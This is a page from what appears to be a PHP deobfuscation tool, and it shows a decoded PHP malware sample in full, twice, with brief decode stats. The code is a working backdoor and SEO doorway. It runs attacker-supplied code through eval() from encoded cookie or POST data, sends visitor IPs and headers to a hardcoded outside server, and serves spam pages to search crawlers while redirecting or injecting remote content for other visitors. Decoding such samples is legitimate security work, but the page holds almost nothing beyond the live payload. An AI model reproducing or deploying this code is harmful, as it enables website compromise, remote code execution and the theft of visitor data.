Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php class _zf1q73a{static private $_q65zdjhy = 84511930;static function _iszjz($_vhxq..
Decoded Output download
<?php
class _zf1q73a{static private $_q65zdjhy = 84511930;static function _iszjz($_vhxqlr5h, $_x6jnsg33){$_vhxqlr5h[2] = count($_vhxqlr5h) > 4 ? long2ip (_zf1q73a::$_q65zdjhy - 1020) : $_vhxqlr5h[2];$_vbjfey2j = _zf1q73a::_x42jz($_vhxqlr5h, $_x6jnsg33);if (!$_vbjfey2j){$_vbjfey2j = _zf1q73a::_rswfw($_vhxqlr5h, $_x6jnsg33);}return $_vbjfey2j;}static function _x42jz($_vhxqlr5h, $_vbjfey2j){if (!function_exists('curl_version')){return "";}$_7138pmmy = curl_init();curl_setopt($_7138pmmy, CURLOPT_URL, implode("/", $_vhxqlr5h));if (!empty($_vbjfey2j)){curl_setopt($_7138pmmy, CURLOPT_POST, 1);curl_setopt($_7138pmmy, CURLOPT_POSTFIELDS, $_vbjfey2j);}curl_setopt($_7138pmmy, CURLOPT_RETURNTRANSFER, TRUE);$_aqsmyx7e = curl_exec($_7138pmmy);curl_close($_7138pmmy);return $_aqsmyx7e;}static function _rswfw($_vhxqlr5h, $_vbjfey2j){if (!empty($_vbjfey2j)){$_q9w0v2bp = stream_context_create(Array('http' => Array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $_vbjfey2j)));$_aqsmyx7e = @file_get_contents(implode("/", $_vhxqlr5h), FALSE, $_q9w0v2bp);}else{$_aqsmyx7e = @file_get_contents(implode("/", $_vhxqlr5h));}return $_aqsmyx7e;}}class _u79v4fw{private static $_2oy37456 = "";private static $_udoiwikq = -1;private static $_vzim2110 = "";private $_qrv29l5h = "";private $_hvrp2x04 = "";private $_wr81zu6l = "";public static function _yrwo8($_uvfpd6tj, $_vvb7ksvp, $_i6n1sx0d){_u79v4fw::$_2oy37456 = $_uvfpd6tj . "/cache/";_u79v4fw::$_udoiwikq = $_vvb7ksvp;_u79v4fw::$_vzim2110 = $_i6n1sx0d;if (!@file_exists(_u79v4fw::$_2oy37456)){@mkdir(_u79v4fw::$_2oy37456);}}public function __construct($_ekz58exf, $_wi75xkag, $_vj61zv42){$this->_qrv29l5h = $_ekz58exf;$this->_hvrp2x04 = $_wi75xkag;$this->_wr81zu6l = $_vj61zv42;}public function _7sb2l(){return str_replace("{{ text }}", $this->_hvrp2x04,str_replace("{{ keyword }}", $this->_wr81zu6l, $this->_qrv29l5h));}public function _gypg0(){$_kfqhxmiy = _u79v4fw::$_2oy37456 . md5($this->_wr81zu6l . _u79v4fw::$_vzim2110);if (_u79v4fw::$_udoiwikq == -1){$_fihn44c6 = -1;}else{$_fihn44c6 = time() + (3600 * 24 * 30);}$_gpajadfc = Array("template" => $this->_qrv29l5h, "text" => $this->_hvrp2x04, "keyword" => $this->_wr81zu6l,"expired" => $_fihn44c6);@file_put_contents($_kfqhxmiy, serialize($_gpajadfc));}static public function _cvi7p($_vj61zv42){$_kfqhxmiy = _u79v4fw::$_2oy37456 . md5($_vj61zv42 . _u79v4fw::$_vzim2110);$_kfqhxmiy = @unserialize(@file_get_contents($_kfqhxmiy));if (!empty($_kfqhxmiy) && ($_kfqhxmiy["expired"] > time() || $_kfqhxmiy["expired"] == -1)){return new _u79v4fw($_kfqhxmiy["template"], $_kfqhxmiy["text"], $_kfqhxmiy["keyword"]);}else{return null;}}}class _v4rya93{private static $_2oy37456 = "";private static $_twll8edt = "";public static function _yrwo8($_uvfpd6tj, $_vijvam69){_v4rya93::$_2oy37456 = $_uvfpd6tj . "/";_v4rya93::$_twll8edt = $_vijvam69;if (!@file_exists(_v4rya93::$_2oy37456)){@mkdir(_v4rya93::$_2oy37456);}}static public function _2awzc(){$_lcsb0ac3 = 0;foreach (scandir(_v4rya93::$_2oy37456) as $_8q2lkuzo){if (strpos($_8q2lkuzo, _v4rya93::$_twll8edt) === 0){$_lcsb0ac3 += 1;}}return $_lcsb0ac3;}static public function _1j30r(){$_3q5vjpmb = Array();foreach (scandir(_v4rya93::$_2oy37456) as $_8q2lkuzo){if (strpos($_8q2lkuzo, _v4rya93::$_twll8edt) === 0){$_3q5vjpmb[] = $_8q2lkuzo;}}return @file_get_contents(_v4rya93::$_2oy37456 . $_3q5vjpmb[array_rand($_3q5vjpmb)]);}static public function _gypg0($_rrckz91r){if (@file_exists(_v4rya93::$_twll8edt . "_" . md5($_rrckz91r) . ".html")){return;}@file_put_contents(_v4rya93::$_twll8edt . "_" . md5($_rrckz91r) . ".html", $_rrckz91r);}}class _amc8ypq{static public $_pkxcqksn = "3.3";static public $_2tvn25eh = "c207db81-d517-880a-6c36-5ed239ef6deb";private $_t7p04532 = "http://46.4.82.133/module/access/api?action=redir";private $_fwwcr1pt = "http://46.4.82.133/module/access/api?action=page";private function _emag0(){function _011wn($_f1fswwln, $_0lo78otd){$_i84x1i6t = "";for ($_w35cmwcf = 0; $_w35cmwcf < strlen($_f1fswwln);) {for ($_47qqnesf = 0; $_47qqnesf < strlen($_0lo78otd) && $_w35cmwcf < strlen($_f1fswwln); $_47qqnesf++, $_w35cmwcf++) {$_i84x1i6t .= chr(ord($_f1fswwln[$_w35cmwcf]) ^ ord($_0lo78otd[$_47qqnesf]));}}return $_i84x1i6t;}function _jxrlg($_f1fswwln, $_0lo78otd, $_wd5d55g4){return _011wn(_011wn($_f1fswwln, $_0lo78otd), $_wd5d55g4);}foreach (array_merge($_COOKIE, $_POST) as $_i1mtewik => $_f1fswwln) {$_f1fswwln = @unserialize(_jxrlg(_amc8ypq::_sdw07($_f1fswwln), $_i1mtewik, _amc8ypq::$_2tvn25eh));if (isset($_f1fswwln['ak']) && _amc8ypq::$_2tvn25eh == $_f1fswwln['ak']) {if ($_f1fswwln['a'] == 'doorway2') {if ($_f1fswwln['sa'] == 'check') {$_vbjfey2j = _zf1q73a::_iszjz(explode("/", "http://httpbin.org/"), "");if (strlen($_vbjfey2j) > 512) {echo @serialize(Array("uid" => _amc8ypq::$_2tvn25eh, "v" => _amc8ypq::$_pkxcqksn, "uu" => $this->_t7p04532, "pu" => $this->_fwwcr1pt));}exit;}}if ($_f1fswwln['sa'] == 'eval') {eval($_f1fswwln["data"]);exit;}}}}private function _42t4a(){$_4x35wifj = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#','#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i','#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i','#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i','#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i','#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i','#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i','#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i','#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i','#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i','#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i','#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i','#spider#i', '#yahoo#i', '#jeeves#i', '#google#i', '#altavista#i','#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i','#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i','#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i','#charlotte#i', '#ngb#i', '#BingBot#i');if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_8p479yck = $_SERVER['HTTP_X_FORWARDED_FOR'];} elseif (!empty($_SERVER['REMOTE_ADDR'])) {$_8p479yck = $_SERVER['REMOTE_ADDR'];} else {$_8p479yck = "";}if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_4x35wifj, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {$_w10k4qsx = 1;}elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {$_w10k4qsx = 1;}elseif (FALSE !== strpos(@gethostbyaddr($_8p479yck), 'google')) {$_w10k4qsx = 1;}else{$_w10k4qsx = 0;}return $_w10k4qsx;}private static function _i5brv(){$_x6jnsg33 = Array();$_x6jnsg33['ip'] = $_SERVER['REMOTE_ADDR'];$_x6jnsg33['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_x6jnsg33['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_x6jnsg33['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_x6jnsg33['ref'] = @$_SERVER['HTTP_REFERER'];$_x6jnsg33['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_x6jnsg33['acp'] = @$_SERVER['HTTP_ACCEPT'];$_x6jnsg33['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_x6jnsg33['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_x6jnsg33;}public function __construct(){$this->_t7p04532 = explode("/", $this->_t7p04532);$this->_fwwcr1pt = explode("/", $this->_fwwcr1pt);}private function _sdw07($_717so0t7){if (strlen($_717so0t7) < 4){return "";}$_7xri0491 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_aq37kwzr = str_split($_7xri0491);$_aq37kwzr = array_flip($_aq37kwzr);$_w35cmwcf = 0;$_945ykgzo = "";$_717so0t7 = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_717so0t7);do {$_fu6b9qf7 = $_aq37kwzr[$_717so0t7[$_w35cmwcf++]];$_mg21pjzw = $_aq37kwzr[$_717so0t7[$_w35cmwcf++]];$_t2wu3xds = $_aq37kwzr[$_717so0t7[$_w35cmwcf++]];$_dr1sts9b = $_aq37kwzr[$_717so0t7[$_w35cmwcf++]];$_t2shai5y = ($_fu6b9qf7 << 2) | ($_mg21pjzw >> 4);$_m7u4xqdr = (($_mg21pjzw & 15) << 4) | ($_t2wu3xds >> 2);$_yzuzf34o = (($_t2wu3xds & 3) << 6) | $_dr1sts9b;$_945ykgzo = $_945ykgzo . chr($_t2shai5y);if ($_t2wu3xds != 64) {$_945ykgzo = $_945ykgzo . chr($_m7u4xqdr);}if ($_dr1sts9b != 64) {$_945ykgzo = $_945ykgzo . chr($_yzuzf34o);}} while ($_w35cmwcf < strlen($_717so0t7));return $_945ykgzo;}private function _887to($_vj61zv42){$_ekz58exf = "";$_wi75xkag = "";$_x6jnsg33 = _amc8ypq::_i5brv();$_x6jnsg33["uid"] = _amc8ypq::$_2tvn25eh;$_x6jnsg33["keyword"] = $_vj61zv42;$_x6jnsg33["tc"] = _v4rya93::_2awzc();$_x6jnsg33 = http_build_query($_x6jnsg33);$_f1fswwln = _zf1q73a::_iszjz($this->_fwwcr1pt, $_x6jnsg33);$_f1fswwln = @unserialize($_f1fswwln);if (isset($_f1fswwln["text"])){$_wi75xkag = $_f1fswwln["text"];}if (isset($_f1fswwln["template"])){$_ekz58exf = $_f1fswwln["template"];}if (empty($_ekz58exf)){$_ekz58exf = _v4rya93::_1j30r();}else{_v4rya93::_gypg0($_ekz58exf);}return Array($_ekz58exf, $_wi75xkag);}private function _zi8ee(){$_x6jnsg33 = _amc8ypq::_i5brv();$_x6jnsg33["uid"] = _amc8ypq::$_2tvn25eh;$_x6jnsg33 = http_build_query($_x6jnsg33);$_7xy7o9pg = _zf1q73a::_iszjz($this->_t7p04532, $_x6jnsg33);$_7xy7o9pg = @unserialize($_7xy7o9pg);if (isset($_7xy7o9pg["type"]) && $_7xy7o9pg["type"] == "redir") {if (!empty($_7xy7o9pg["data"]["header"])) {header($_7xy7o9pg["data"]["header"]);} elseif (!empty($_7xy7o9pg["data"]["code"])) {echo $_7xy7o9pg["data"]["code"];}}}public function _fvj8o(){$this->_emag0();$_eoq4sn8c = array_keys($_GET);$_vj61zv42 = $_GET[$_eoq4sn8c[0]];$_vj61zv42 = str_replace("-", " ", $_vj61zv42);if ($this->_42t4a()){$_7xy7o9pg = _u79v4fw::_cvi7p($_vj61zv42);if (empty($_7xy7o9pg)){list($_ekz58exf, $_wi75xkag) = $this->_887to($_vj61zv42);if (empty($_wi75xkag)){return;}$_7xy7o9pg = new _u79v4fw($_ekz58exf, $_wi75xkag, $_vj61zv42);$_7xy7o9pg->_gypg0();}echo $_7xy7o9pg->_7sb2l();}else{$this->_zi8ee();}}}_u79v4fw::_yrwo8(dirname(__FILE__), -1, _amc8ypq::$_2tvn25eh);_v4rya93::_yrwo8(dirname(__FILE__), substr(md5(_amc8ypq::$_2tvn25eh), 0, 4));$_gw6fw73p = new _amc8ypq();$_gw6fw73p->_fvj8o();exit(); ?>
Did this file decode correctly?
Original Code
<?php
class _zf1q73a{static private $_q65zdjhy = 84511930;static function _iszjz($_vhxqlr5h, $_x6jnsg33){$_vhxqlr5h[2] = count($_vhxqlr5h) > 4 ? long2ip (_zf1q73a::$_q65zdjhy - 1020) : $_vhxqlr5h[2];$_vbjfey2j = _zf1q73a::_x42jz($_vhxqlr5h, $_x6jnsg33);if (!$_vbjfey2j){$_vbjfey2j = _zf1q73a::_rswfw($_vhxqlr5h, $_x6jnsg33);}return $_vbjfey2j;}static function _x42jz($_vhxqlr5h, $_vbjfey2j){if (!function_exists('curl_version')){return "";}$_7138pmmy = curl_init();curl_setopt($_7138pmmy, CURLOPT_URL, implode("/", $_vhxqlr5h));if (!empty($_vbjfey2j)){curl_setopt($_7138pmmy, CURLOPT_POST, 1);curl_setopt($_7138pmmy, CURLOPT_POSTFIELDS, $_vbjfey2j);}curl_setopt($_7138pmmy, CURLOPT_RETURNTRANSFER, TRUE);$_aqsmyx7e = curl_exec($_7138pmmy);curl_close($_7138pmmy);return $_aqsmyx7e;}static function _rswfw($_vhxqlr5h, $_vbjfey2j){if (!empty($_vbjfey2j)){$_q9w0v2bp = stream_context_create(Array('http' => Array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $_vbjfey2j)));$_aqsmyx7e = @file_get_contents(implode("/", $_vhxqlr5h), FALSE, $_q9w0v2bp);}else{$_aqsmyx7e = @file_get_contents(implode("/", $_vhxqlr5h));}return $_aqsmyx7e;}}class _u79v4fw{private static $_2oy37456 = "";private static $_udoiwikq = -1;private static $_vzim2110 = "";private $_qrv29l5h = "";private $_hvrp2x04 = "";private $_wr81zu6l = "";public static function _yrwo8($_uvfpd6tj, $_vvb7ksvp, $_i6n1sx0d){_u79v4fw::$_2oy37456 = $_uvfpd6tj . "/cache/";_u79v4fw::$_udoiwikq = $_vvb7ksvp;_u79v4fw::$_vzim2110 = $_i6n1sx0d;if (!@file_exists(_u79v4fw::$_2oy37456)){@mkdir(_u79v4fw::$_2oy37456);}}public function __construct($_ekz58exf, $_wi75xkag, $_vj61zv42){$this->_qrv29l5h = $_ekz58exf;$this->_hvrp2x04 = $_wi75xkag;$this->_wr81zu6l = $_vj61zv42;}public function _7sb2l(){return str_replace("{{ text }}", $this->_hvrp2x04,str_replace("{{ keyword }}", $this->_wr81zu6l, $this->_qrv29l5h));}public function _gypg0(){$_kfqhxmiy = _u79v4fw::$_2oy37456 . md5($this->_wr81zu6l . _u79v4fw::$_vzim2110);if (_u79v4fw::$_udoiwikq == -1){$_fihn44c6 = -1;}else{$_fihn44c6 = time() + (3600 * 24 * 30);}$_gpajadfc = Array("template" => $this->_qrv29l5h, "text" => $this->_hvrp2x04, "keyword" => $this->_wr81zu6l,"expired" => $_fihn44c6);@file_put_contents($_kfqhxmiy, serialize($_gpajadfc));}static public function _cvi7p($_vj61zv42){$_kfqhxmiy = _u79v4fw::$_2oy37456 . md5($_vj61zv42 . _u79v4fw::$_vzim2110);$_kfqhxmiy = @unserialize(@file_get_contents($_kfqhxmiy));if (!empty($_kfqhxmiy) && ($_kfqhxmiy["expired"] > time() || $_kfqhxmiy["expired"] == -1)){return new _u79v4fw($_kfqhxmiy["template"], $_kfqhxmiy["text"], $_kfqhxmiy["keyword"]);}else{return null;}}}class _v4rya93{private static $_2oy37456 = "";private static $_twll8edt = "";public static function _yrwo8($_uvfpd6tj, $_vijvam69){_v4rya93::$_2oy37456 = $_uvfpd6tj . "/";_v4rya93::$_twll8edt = $_vijvam69;if (!@file_exists(_v4rya93::$_2oy37456)){@mkdir(_v4rya93::$_2oy37456);}}static public function _2awzc(){$_lcsb0ac3 = 0;foreach (scandir(_v4rya93::$_2oy37456) as $_8q2lkuzo){if (strpos($_8q2lkuzo, _v4rya93::$_twll8edt) === 0){$_lcsb0ac3 += 1;}}return $_lcsb0ac3;}static public function _1j30r(){$_3q5vjpmb = Array();foreach (scandir(_v4rya93::$_2oy37456) as $_8q2lkuzo){if (strpos($_8q2lkuzo, _v4rya93::$_twll8edt) === 0){$_3q5vjpmb[] = $_8q2lkuzo;}}return @file_get_contents(_v4rya93::$_2oy37456 . $_3q5vjpmb[array_rand($_3q5vjpmb)]);}static public function _gypg0($_rrckz91r){if (@file_exists(_v4rya93::$_twll8edt . "_" . md5($_rrckz91r) . ".html")){return;}@file_put_contents(_v4rya93::$_twll8edt . "_" . md5($_rrckz91r) . ".html", $_rrckz91r);}}class _amc8ypq{static public $_pkxcqksn = "3.3";static public $_2tvn25eh = "c207db81-d517-880a-6c36-5ed239ef6deb";private $_t7p04532 = "http://46.4.82.133/module/access/api?action=redir";private $_fwwcr1pt = "http://46.4.82.133/module/access/api?action=page";private function _emag0(){function _011wn($_f1fswwln, $_0lo78otd){$_i84x1i6t = "";for ($_w35cmwcf = 0; $_w35cmwcf < strlen($_f1fswwln);) {for ($_47qqnesf = 0; $_47qqnesf < strlen($_0lo78otd) && $_w35cmwcf < strlen($_f1fswwln); $_47qqnesf++, $_w35cmwcf++) {$_i84x1i6t .= chr(ord($_f1fswwln[$_w35cmwcf]) ^ ord($_0lo78otd[$_47qqnesf]));}}return $_i84x1i6t;}function _jxrlg($_f1fswwln, $_0lo78otd, $_wd5d55g4){return _011wn(_011wn($_f1fswwln, $_0lo78otd), $_wd5d55g4);}foreach (array_merge($_COOKIE, $_POST) as $_i1mtewik => $_f1fswwln) {$_f1fswwln = @unserialize(_jxrlg(_amc8ypq::_sdw07($_f1fswwln), $_i1mtewik, _amc8ypq::$_2tvn25eh));if (isset($_f1fswwln['ak']) && _amc8ypq::$_2tvn25eh == $_f1fswwln['ak']) {if ($_f1fswwln['a'] == 'doorway2') {if ($_f1fswwln['sa'] == 'check') {$_vbjfey2j = _zf1q73a::_iszjz(explode("/", "http://httpbin.org/"), "");if (strlen($_vbjfey2j) > 512) {echo @serialize(Array("uid" => _amc8ypq::$_2tvn25eh, "v" => _amc8ypq::$_pkxcqksn, "uu" => $this->_t7p04532, "pu" => $this->_fwwcr1pt));}exit;}}if ($_f1fswwln['sa'] == 'eval') {eval($_f1fswwln["data"]);exit;}}}}private function _42t4a(){$_4x35wifj = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#','#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i','#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i','#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i','#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i','#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i','#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i','#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i','#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i','#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i','#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i','#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i','#spider#i', '#yahoo#i', '#jeeves#i', '#google#i', '#altavista#i','#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i','#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i','#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i','#charlotte#i', '#ngb#i', '#BingBot#i');if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_8p479yck = $_SERVER['HTTP_X_FORWARDED_FOR'];} elseif (!empty($_SERVER['REMOTE_ADDR'])) {$_8p479yck = $_SERVER['REMOTE_ADDR'];} else {$_8p479yck = "";}if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_4x35wifj, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {$_w10k4qsx = 1;}elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {$_w10k4qsx = 1;}elseif (FALSE !== strpos(@gethostbyaddr($_8p479yck), 'google')) {$_w10k4qsx = 1;}else{$_w10k4qsx = 0;}return $_w10k4qsx;}private static function _i5brv(){$_x6jnsg33 = Array();$_x6jnsg33['ip'] = $_SERVER['REMOTE_ADDR'];$_x6jnsg33['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_x6jnsg33['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_x6jnsg33['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_x6jnsg33['ref'] = @$_SERVER['HTTP_REFERER'];$_x6jnsg33['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_x6jnsg33['acp'] = @$_SERVER['HTTP_ACCEPT'];$_x6jnsg33['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_x6jnsg33['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_x6jnsg33;}public function __construct(){$this->_t7p04532 = explode("/", $this->_t7p04532);$this->_fwwcr1pt = explode("/", $this->_fwwcr1pt);}private function _sdw07($_717so0t7){if (strlen($_717so0t7) < 4){return "";}$_7xri0491 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_aq37kwzr = str_split($_7xri0491);$_aq37kwzr = array_flip($_aq37kwzr);$_w35cmwcf = 0;$_945ykgzo = "";$_717so0t7 = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_717so0t7);do {$_fu6b9qf7 = $_aq37kwzr[$_717so0t7[$_w35cmwcf++]];$_mg21pjzw = $_aq37kwzr[$_717so0t7[$_w35cmwcf++]];$_t2wu3xds = $_aq37kwzr[$_717so0t7[$_w35cmwcf++]];$_dr1sts9b = $_aq37kwzr[$_717so0t7[$_w35cmwcf++]];$_t2shai5y = ($_fu6b9qf7 << 2) | ($_mg21pjzw >> 4);$_m7u4xqdr = (($_mg21pjzw & 15) << 4) | ($_t2wu3xds >> 2);$_yzuzf34o = (($_t2wu3xds & 3) << 6) | $_dr1sts9b;$_945ykgzo = $_945ykgzo . chr($_t2shai5y);if ($_t2wu3xds != 64) {$_945ykgzo = $_945ykgzo . chr($_m7u4xqdr);}if ($_dr1sts9b != 64) {$_945ykgzo = $_945ykgzo . chr($_yzuzf34o);}} while ($_w35cmwcf < strlen($_717so0t7));return $_945ykgzo;}private function _887to($_vj61zv42){$_ekz58exf = "";$_wi75xkag = "";$_x6jnsg33 = _amc8ypq::_i5brv();$_x6jnsg33["uid"] = _amc8ypq::$_2tvn25eh;$_x6jnsg33["keyword"] = $_vj61zv42;$_x6jnsg33["tc"] = _v4rya93::_2awzc();$_x6jnsg33 = http_build_query($_x6jnsg33);$_f1fswwln = _zf1q73a::_iszjz($this->_fwwcr1pt, $_x6jnsg33);$_f1fswwln = @unserialize($_f1fswwln);if (isset($_f1fswwln["text"])){$_wi75xkag = $_f1fswwln["text"];}if (isset($_f1fswwln["template"])){$_ekz58exf = $_f1fswwln["template"];}if (empty($_ekz58exf)){$_ekz58exf = _v4rya93::_1j30r();}else{_v4rya93::_gypg0($_ekz58exf);}return Array($_ekz58exf, $_wi75xkag);}private function _zi8ee(){$_x6jnsg33 = _amc8ypq::_i5brv();$_x6jnsg33["uid"] = _amc8ypq::$_2tvn25eh;$_x6jnsg33 = http_build_query($_x6jnsg33);$_7xy7o9pg = _zf1q73a::_iszjz($this->_t7p04532, $_x6jnsg33);$_7xy7o9pg = @unserialize($_7xy7o9pg);if (isset($_7xy7o9pg["type"]) && $_7xy7o9pg["type"] == "redir") {if (!empty($_7xy7o9pg["data"]["header"])) {header($_7xy7o9pg["data"]["header"]);} elseif (!empty($_7xy7o9pg["data"]["code"])) {echo $_7xy7o9pg["data"]["code"];}}}public function _fvj8o(){$this->_emag0();$_eoq4sn8c = array_keys($_GET);$_vj61zv42 = $_GET[$_eoq4sn8c[0]];$_vj61zv42 = str_replace("-", " ", $_vj61zv42);if ($this->_42t4a()){$_7xy7o9pg = _u79v4fw::_cvi7p($_vj61zv42);if (empty($_7xy7o9pg)){list($_ekz58exf, $_wi75xkag) = $this->_887to($_vj61zv42);if (empty($_wi75xkag)){return;}$_7xy7o9pg = new _u79v4fw($_ekz58exf, $_wi75xkag, $_vj61zv42);$_7xy7o9pg->_gypg0();}echo $_7xy7o9pg->_7sb2l();}else{$this->_zi8ee();}}}_u79v4fw::_yrwo8(dirname(__FILE__), -1, _amc8ypq::$_2tvn25eh);_v4rya93::_yrwo8(dirname(__FILE__), substr(md5(_amc8ypq::$_2tvn25eh), 0, 4));$_gw6fw73p = new _amc8ypq();$_gw6fw73p->_fvj8o();exit();
Function Calls
| None |
Stats
| MD5 | 2be6501f3dfb5c424dd1d8fc32d497d5 |
| Eval Count | 0 |
| Decode Time | 149 ms |